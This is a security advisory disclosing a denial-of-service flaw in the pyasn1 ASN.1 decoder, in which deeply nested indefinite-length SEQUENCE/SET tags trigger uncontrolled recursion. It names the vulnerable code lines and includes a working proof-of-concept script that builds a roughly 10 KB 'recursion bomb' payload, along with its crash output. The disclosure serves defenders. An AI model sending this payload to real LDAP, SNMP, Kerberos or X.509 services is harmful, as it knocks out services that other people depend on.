- "details": "### Summary\nThe `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with Indefinite Length (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application.\n\nThis is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue.\n\n### Details\nThe vulnerability exists because the decoder iterates through the input stream and recursively calls `decodeFun` (the decoding callback) for every nested component found, without tracking or limiting the recursion depth.\nVulnerable Code Locations:\n1. `indefLenValueDecoder` (Line 998):\n```for component in decodeFun(substrate, asn1Spec, allowEoo=True, **options):```\nThis method handles indefinite-length constructed types. It sits inside a `while True` loop and recursively calls the decoder for every nested tag.\n\n2. `valueDecoder` (Lines 786 and 907):\n```for component in decodeFun(substrate, componentType, **options):```\nThis method handles standard decoding when a schema is present. It contains two distinct recursive calls that lack depth checks: Line 786: Recursively decodes components of `SEQUENCE` or `SET` types. Line 907: Recursively decodes elements of `SEQUENCE OF` or `SET OF` types.\n\n4. `_decodeComponentsSchemaless` (Line 661):\n```for component in decodeFun(substrate, **options):```\nThis method handles decoding when no schema is provided.\n\nIn all three cases, `decodeFun` is invoked without passing a `depth` parameter or checking against a global `MAX_ASN1_NESTING` limit.\n\n### PoC\n```\nimport sys\nfrom pyasn1.codec.ber import decoder\n\nsys.setrecursionlimit(100000)\n\nprint(\"[*] Generating Recursion Bomb Payload...\")\ndepth = 50_000\nchunk = b'\\x30\\x80' \npayload = chunk * depth\n\nprint(f\"[*] Payload size: {len(payload) / 1024:.2f} KB\")\nprint(\"[*] Triggering Decoder...\")\n\ntry:\n decoder.decode(payload)\nexcept RecursionError:\n print(\"[!] Crashed: Recursion Limit Hit\")\nexcept MemoryError:\n print(\"[!] Crashed: Out of Memory\")\nexcept Exception as e:\n print(f\"[!] Crashed: {e}\")\n```\n\n```\n[*] Payload size: 9.77 KB\n[*] Triggering Decoder...\n[!] Crashed: Recursion Limit Hit\n```\n\n### Impact\n- This is an unhandled runtime exception that typically terminates the worker process or thread handling the request. This allows a remote attacker to trivially kill service workers with a small payload (<100KB), resulting in a Denial of Service. Furthermore, in environments where recursion limits are increased, this leads to server-wide memory exhaustion.\n- Service Crash: Any service using `pyasn1` to parse untrusted ASN.1 data (e.g., LDAP, SNMP, Kerberos, X.509 parsers) can be crashed remotely.\n- Resource Exhaustion: The attack consumes RAM linearly with the nesting depth. A small payload (<200KB) can consume hundreds of megabytes of RAM or exhaust the stack.\n\n### Credits\nVulnerability discovered by Kevin Tu of TMIR at ByteDance.",
0 commit comments